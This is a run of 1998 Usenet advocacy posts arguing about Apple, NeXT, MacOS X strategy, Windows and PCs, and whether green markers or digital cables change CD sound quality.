Companies set software prices based on projected sales. A small volume
product has to be priced higher than a large volume product. The problem
is that there is a feedback loop in effect. A lower price contributes to
higher sales, and vis-versa.
My cynical view is that Apple understands this, and will price Rhapsody
for Intel at a point which will limit sales, and therefore limit their
obligation to Intel customers.
John
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 10:49:37 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981049380001@sf-usr1-26-154.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net> <6r9vn1$aav$1@nnrp1.dejanews.com>
In article <6r9vn1$aav$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> > Much more time spent doing ones work, and less
> > time spent fiddling with a fussy computer with a third-rate
> > system sold by a mega corporation which simply doesn't give a
> > shit about anything but winning.
>
> Buy a PC from a better vendor.
I was talking about WINDOWS and MS, friend. NOT the hardware.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 11:09:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981109290001@sf-usr1-26-154.dialup.slip.net>
References: <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <Pine.LNX.3.96.980814211023.22615B-100000@paule> <joe.ragosta-1508980652460001@elk56.dol.net> <35dc7a56.24050743@news.calweb.com>
In article <35dc7a56.24050743@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Sat, 15 Aug 1998 06:52:46 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >Are you incapable of discussing _anything_ without throwing in a slam
> >against the Mac?
>
> This seems amusing, coming from one who can't discuss anything without
> slamming pc's and/or windows.
>
> You live in a glass house.
You can't blame him too much. Windows/PCs are such EAST targets.....
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 11:18:06 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981118070001@sf-usr1-26-154.dialup.slip.net>
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1608980706240001@elk78.dol.net> <35d7388f.75797863@news.iafrica.com> <joe.ragosta-1608981737340001@elk59.dol.net> <35dd7b2d.24265211@news.calweb.com>
In article <35dd7b2d.24265211@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Sun, 16 Aug 1998 17:37:33 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >How many people have their PC hooked up to their stereo? Maybe I live a
> >sheltered life, but I don't know a single person.
> >
>
> You *DO* live a sheltered life. Then again, PC users don't typically
> limit themselves to the one or two built in choices that make others
> feel safe. Some people like to do fun stuff with their equipment.
>
> >Even if you can find some, you'd have to show that their stereo is capable
> >of doing better than the Mac's onboard sound before you have a point.
> >There are a lot of junky home stereo systems.
> >
>
> Surely you aren't trying to tell me that the built in sound in a Mac
> is better than a $1000 Sony stereo or whatever? We aren't talking
> about boom boxes here.
a $1000 Sony IS a boom box!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 11:20:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981120390001@sf-usr1-26-154.dialup.slip.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz>
In article <p.kerr-1808980857340001@news.auckland.ac.nz>,
p.kerr@auckland.ac.nz (Peter Kerr) wrote:
> gmgraves@slip.net (George Graves) wrote:
> >Sorry, every CD uses an IR laser. If it were red, you would be able to
> >see the laser with the top of the player removed. You can't. IR is
> >invisable.
>
> You can't see it with the top off the player because for safety reasons it
> doesn't light up until there is a disc in place, and revolving. If you
> then look carefully underneath the disc you can see the red light...
If YOU can see it than you have extraordinary eyesight which extends into
the infrared, because that's what CD players use.
George Graves
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Tue, 18 Aug 1998 13:18:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D9C58A.3F86BAE5@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com> <35D8C9AF.1E0B581B@ericsson.com> <6ram29$h83$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
> Those tools you list suck maggot dung in comparison. Developers will care.
Don't get me wrong, but a lot of the mindshare devoted to caring has
been given over to Linux and the like. Whether or not that's justified,
how is Apple going to steal some of the malcontents' attention? With the
iMac? With MacOS X? This is what I'm saying. Engineers and users and IS
people who actually care that Microsoft solutions are last-place in
quality are getting the message that Linux is the alternative.
The problem is that I don't necessarily think that that's the way it
should be. Linux is not always the appropriate alternative. But it's
going to be the de facto choice for all those unhappy programmers and
users out there because the Linux people are making their case.
> Cross platform to win for free is a great carrot.
But it won't be important if developing on MacOS X isn't attractive in
the first place. Restricting MacOS X to Macintosh hardware has pretty
much sealed this.
> It may fail, but this
> isn't yet clear. As a carrot, as potential, it is not only relevant, it's a
> highly substantial and significant feature. Dismissing it with guess work is
> fine, but that won't take it out of the equation; not until the axe hits the
> block and the head rolls clean off and far away.
I'm not trying to dismiss it, I'm trying to explain why its current
course will lead to dismissal.
> That is not a problem if it comes on the same cd. *IF* it's merely selecting
> an option during the install process, then it's a non issue.
Yes, probably. After all, Windows Dial-Up Networking is an option during
the install process.
> It will be
> there for those who want it. Now that's a big "if" and one that I have great
> faith that apple can crap up. We'll watch their bumbling and time will tell.
Perhaps.
> > This is Apple's only cross-platform technology! And it's written
> > natively for each platform.
>
> I'm not saying it's cross platform. I don't believe it is until they
> actually Yellowize it. If they dont, then it's merely what it is. And as
> is, shlocky and all, it's functionally apparently quite loved by certain
> sectors. And thus still remains a different feature that some will find
> valuable.
But it still doesn't recommend one platform over the other.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Aug 1998 15:41:48 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rc7bs$i17@newsb.netnews.att.com>
References: <6ra59i$dpc@newsb.netnews.att.com> <6raluk$1fs@news1.panix.com>
Originator: gupta@tlctest
Sal Denaro <sal@panix.com> wrote:
>NT5 is still a long way off. A long-long-long way off. I doubt that
>it will ship with a 65% CPU idle. (On the NT5 demo I went to, there
>was a 80% CPU heartbeat that hit every 45 to 60 seconds. After each
>beat, the CPU would drop back down to 5% to 10%)
>
>And how much of that 35mb is disk cache? Or IE4? Or IIS4?
The anonymous beta tester said "with no applications running".
Who knows what is application and what is OS, any more ?
Agreed, the final product cannot be judged from the beta.
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 11:33:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com>
In article <6ra0dh$tjt$1@ec.arbat.com>, Erik Corry <erik@arbat.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > There is, however, another explanantion. We don't understand all we
know about
> > the process of digitizing audio. I mean, based on your assumption, the
cabel
> > between the CD transport and the outboard D/A converter shouldn't make any
> > difference to the sound either - but it does.
>
> If it does, then the poor quality cable is causing bit
> errors. So get an outboard D/A converter with an error
> light (don't they all have this), and then get the cheapest
> cable where the light stays off. Welcome to the digitial
> world. Either it works or it doesn't. No need for listening
> tests, except for the analogue parts.
That's what YOU think! I have been fooling with this stuff
long enough to know better and I have an Electrical Engineering
degree which tells me that I should know better. In these cases
I have to put my engineering background on hold and trust my
ears. My conclusion? We don't really understand as much about
digital quantization as we think we do.
George Graves
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 12:58:48 GMT
Message-ID: <35dc7a56.24050743@news.calweb.com>
References: <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <Pine.LNX.3.96.980814211023.22615B-100000@paule> <joe.ragosta-1508980652460001@elk56.dol.net>
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Sat, 15 Aug 1998 06:52:46 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>
>Are you incapable of discussing _anything_ without throwing in a slam
>against the Mac?
This seems amusing, coming from one who can't discuss anything without
slamming pc's and/or windows.
You live in a glass house.
Scott
..................................................
Please edit the email address to reply
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 12:52:45 GMT
Message-ID: <35da7867.23555971@news.calweb.com>
References: <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net>
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Fri, 14 Aug 1998 04:54:59 GMT, nospam@devnull.com (Hath) wrote:
>
>nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
>CD-quality sound is built in. Ever since the MAC II.
>
I challenge you to go buy any PC on the market now that is not a
bargain basement model and NOT find a pre-configured sound card
inside, or a cd-rom, etc, etc...
The nice thing about having it on a card is that you can choose what
you want. Do you want a sound blaster? Fine. Do you want a Turtle
Beach? Fine. There's something for you regardless of your taste.
Scott
..................................................
Please edit the email address to reply
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 12:57:31 GMT
Message-ID: <35db7947.23779152@news.calweb.com>
References: <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net>
MIME-Version: 1.0
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On Fri, 14 Aug 1998 19:27:47 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>
>Windows, OTOH, is only good enough if you've never used an OS with a good UI.
>
In YOUR opinion. Other people have different opinions. Some of us
even state that our opinions are just that, instead of passing them
off as FACTS.
You might tell me that you think your Geo Metro is the greatest car on
the face of the planet. You might say, "Ford trucks are only good
enough if you've never driven a Geo." The kid down the street might
feel the same way about his jacked up Nova. Who's right? No one.
Only hopefully they are not stupid enough to declare that their choice
of vehicle is the way, the truth, and the life.
Wish I could say the same about certain followers of the Cult of the
Mac.
In 20 years, chances are no one will care about either Macs or PC's as
we know them today.
Scott
..................................................
Please edit the email address to reply
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 13:28:25 GMT
Message-ID: <35e38142.25822380@news.calweb.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net>
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On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>
>Right. Like not paying for floppy drives if you don't need them.
???
I've NEVER had a computer that I didn't make enough use of the floppy
that I would not have been irritated if it hadn't had one.
Scott
..................................................
Please edit the email address to reply
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 11:39:10 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0>
In article <joe.ragosta-1708981315410001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
> In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <joe.ragosta-1708980656280001@elk81.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > But that's my point. If the error correction measurements are unchanged,
> > > the color couldn't possibly make a difference. If the laser sends
> > > 010011010110101.... to the DAC, it doesn't matter one whit whether those
> > > bits per picked up with a red laser, with a filtered laser, or with a
> > > PlaySchool player.
> > >
> > > The only possible explanation would be if the green magic marker reduced
> > > (or increased) the number of errors--and this should be easily
> > > quantifiable.
> >
> >
> > There is, however, another explanantion. We don't understand all we
know about
> > the process of digitizing audio. I mean, based on your assumption, the
cabel
> > between the CD transport and the outboard D/A converter shouldn't make any
> > difference to the sound either - but it does.
>
> Again, you'd have to show evidence that it does.
I've run the experiment. You can too. Its easy. Get a CD player (hopefully
a good one) and a decent outboard D/A converter. Pick a CD you know
reasonably well and get a bunch of interconnects. Get some cheap RCA
to RCA, some expensive ones (like Monster sells) and some "digital"
cables from Cardas and Vampyre, as well as a TOSLINK cable, and if
the CD player and the D/A can accommodate it, an AT&T glass fiber
optical cable. Now change them out while listening. Guess what? They
ALL sound slightly different.
>
> A digital signal can't be affected other than if there are errors in the
> signal. It's not like an analog signal where a few percentage difference
> can make a difference in the final sound.
Right!
George Graves
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 13:25:56 GMT
Message-ID: <35e28031.25549037@news.calweb.com>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Sun, 16 Aug 1998 11:11:26 GMT, cquirke@iafrica.com wrote:
>One of the defining things about PCs is that they have had expansion
>slots from day one. No having to pay a premium for SCSI, no paying
>extra for the models with PCI slots years after PCI was standard.
>
Apparently Apple doesn't agree with you. Now you can buy a Mac that
makes the floppy an option (ie, one you have to pay more to get).
And I thought the old original Mac was limiting.
By the way, it was interesting to read an article on one of the news
web sites written by a Mac using journalist who complained both about
the lack of floppy in the iMac AND the fact that they didn't provide a
couple normal serial ports for compatibility reasons. He even
mentioned that on serial-looking port under the cover is marked "Not a
serial port".
Scott
..................................................
Please edit the email address to reply
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 11:48:44 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>
In article <joe.ragosta-1808980752420001@wil41.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ra5vg$b9h$1@news.spacelab.net>, "Charles W. Swiger"
> <chuck@codefab.com> wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >> [ ...green pen... ]
> > >
> > > But how could a green pen change the sampling rate?
> >
> > Not the sampling rate, but it might conceivably cause minor variants in the
> > precise time between samples. For the sake of argument, let's
_assume_ that
> > this green pen does reduce the out-of-CD-edge reflections.
> >
> > If so, then the photoreceptor will not see reflections before or after the
> > proper timing interval, and will be reading the bits more closely to the
> > correct interval, rather than with some time errors known as jitter. A CD
> > player (or transport) which does not appropriately reclock the data
stream to
> > remove will have audible artifacts from jitter.
> >
> > There is some room to believe that the earlier models of CD equipment
didn't
> > understand the crucial importance of timing, which is why green pens _may_,
> > _hypothetically_, have made a difference years ago but no longer seem
to have
> > any effect with modern, well-designed players.
> >
> > Again, I have no opinion whether green pens actually make any difference
> > since I've never tried it out myself nor have I seen the results from
> > well-conducted experiments.
>
> I also don't have any opinion, but I'm having trouble understanding your
> explanation. Isn't the digital signal sent to the DAC at a fixed
> frequency?
Yes but its coming from a MECHANICAL storage device. Unless the motor and
the 'turntable' spining that disc is perfect and free from any speed variation
at all, then the bit stream is going to be all over the place. Reclocking
circuits
such as FIFOs tend to drop bits and then close-up the spaces, so they introduce
as much bit stream error as they correct. Expensive D/A converters use multiple
parallel bit streams and then average them using a DSP somewhere along the
line,
but most CD players don't have this advantage due to costs.
George Graves
From: "William Frisbee" <bfrisbee@nospam.webengine-db.com>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Tue, 18 Aug 1998 12:31:22 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6rca7a$501@fridge.shore.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <gdwarnernyet-1808980032520001@mg-20664223-78.ricochet.net>
>Yep ... and you'll recognize this iMac-compatible Zip drive because >it's
color scheme will match that of the iMac.
But it will not be available until October and then will be selling for
$145-$165 bucks... Go figure...
>From what I've read, the Supderdisk is slower than the Zip.
Slower yes, but able to read 3.5" floppies....
Bill F.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Tue, 18 Aug 1998 11:13:47 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D9A83B.CE0C1199@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6rakqc$ek6@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> I don't think I've made any technical comments whatsoever regarding NT 5.0's
> stability. I've made informed-opinion-comments. If you can't distinguish
> them from technical comments, that is **your** problem. You can impeach
> the sources, or you can impeach any misquotes I make, if I made any.
> If my arguments have a logical flaw, point them out if you please.
> Your attempt to turn this into "Who are you to make comments about NT 5.0?"
> I choose not respond to any further.
> Given that nowadays, bugs are redefined to be features, and
> given NT 5.0's 30+ million lines of code
This is what you said. I'd be embarassed, too.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Tue, 18 Aug 1998 14:08:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D9D123.C98BF639@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com>
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Sal Denaro wrote:
>
> On Mon, 17 Aug 1998 18:06:53 -0500, Michael Peck
> <Michael.Peck@ericsson.com> wrote:
> >hardware generation). But there's so much else they could be doing
> >better, I don't know where to start. How about:
> >* Open hardware specification with significant licensing program
>
> No one is stopping you from building your own CHRP boards. Just
> don't expect Apple to help you compete against them.
Sun helps its cloners to compete against it. Well, Sun doesn't really
look at it that way, I suppose. I think they look at it as helping their
cloners to expand their market and solidify the platform's position as
an open system.
But that's cute. I love rhetoric like "don't expect Apple to help you
compete against them" because it really serves to package the speaker's
thinking.
[cut]
> >* An Intel version of this new operating system
>
> MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
> support, but if sales warrant it they will.
Funny how you speak for Apple.
> >* A publicly-stated vision for the future (does not include "wait until
> >the WWDC")
>
> It is standard practice for companies that aren't run buy idiots not
> to announce anything until you are ready to profit from it.
Is that right? I keep hearing it in this newsgroup. Funny how I've never
encountered this ideology anywhere in the business world...
Intel announced Merced several months ago but the chip is not expected
to ship until mid-2000.
Sun announced Solaris for Merced several months ago but the operating
system is not expected to ship until the chip arrives.
Several Sun partners have announced plans to license the Solaris for
Merced operating system but the licenses are not expected to be signed
until the operating system arrives.
But all of these companies are run by idiots, of course. They seem to
think it's profitable in and of itself for customers to be aware of
their plans, but they just don't realize it's costing them.
Either that, or you're just being foolish and this is one of the
stupider rationalizations I've heard for Apple's behavior.
> >* A stock price that can sit still instead of fluctuating wildly
>
> Huh? Apple stock has had steady growth all year with only a couple of
> minor corrections. Please point out _any_ actively traded stock in _any_
> industry that hasn't had at least one +/- 5% single day change in the
> past 12 months. Have you been following the market at all this year?
Save it, smartypants. Apple's stock performance is common knowledge;
normal stock performance evaluation spans multiple years in any case. I
invite you to investigate Apple's stock performance in the last two
years and run your own logic on what this communicates about the
company.
Ask your broker if you need help.
> >More ideas:
> >* Get out of the hardware business
> >* Get out of the operating system business
>
> And sell iMac tee-shirts and mugs?
No, I was thinking they could market an extraordinary line of training
services for salesmen, especially for companies without a compelling
product. Pepsi-Cola Corporation and Ford Motor Corporation come to mind,
but you may have other examples. They could make a fortune this way,
building for their clients a loyal but small base of chanting
worshipers.
Ask a stupid question...
> >* Ship Yellow Box for NT, Solaris, HP-UX, Irix, and AIX tomorrow
>
> To run what? I have YB for NT. It makes no sense to ship it unless MacOSX
> Server has shipped or WO4 has shipped.
Are you developing with it? If you are, and it still "makes no sense to
ship it", I am flabbergasted. I don't even want to know what logic gets
you to that point.
> As far as the other Unix versions, Apple should port to them if and only
> if there is significant market demand.
[Yawn] I think we've heard this before.
> How many AIX desktop user _want_
> to run YB apps? Why should Apple spend the time and money on porting to
> HPUX when that time and money might go to improving QuickTime?
Sure, but why should Apple spend the time and money on QuickTime when it
could be spent on Macintosh hardware? Or even processor development?
We're a hardware company, after all, let's prove it! Let Apple defy
change!
> If you need to deploy to other platforms, build in WebObjects. Any
> platform that can run NetScape can use it.
Okay, I'll start porting my high-availability application middleware
right away.
> > Something else to earn back the $400 million spent on NeXT
>
> Like the OS you think they should get out of the buisness of selling?
No, actually, more like the developer tools and application framework
for which NeXT was commended in the very first place. Maybe you've
forgotten, but they didn't spend $400 million on BSD Unix, which (I'm
sure you know this) is the OS that they're going to ship.
> It will run on pre g3 systems. It is being written on pre-g3 systems.
> This is a marketing move.
No!
[cut]
> >* Admit that we have no long-term plans and that very few vendors are
> >expressing enthusiasm about MacOS X
>
> No vendors besides Microsoft, Adobe et al?
Yes, "et al" is exactly the problem. ;-) If, instead, you had listed
some actual *vendors*, you might have had a case. By the way, I hadn't
heard that Microsoft was committing to MacOS X. I think they'll ship
MSIE, but have they said anything about Visual development, Office, or
BackOffice?
> >maybe some of these don't make sense to anyone else.
> -------^^^^^^-------------------------^^^^^^^^^^^^^^
>
> You can safely remove the hilighted words.
Ba-dump-bump.
MJP
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <rbarris-ya023280001808981326120001@206.82.216.1>
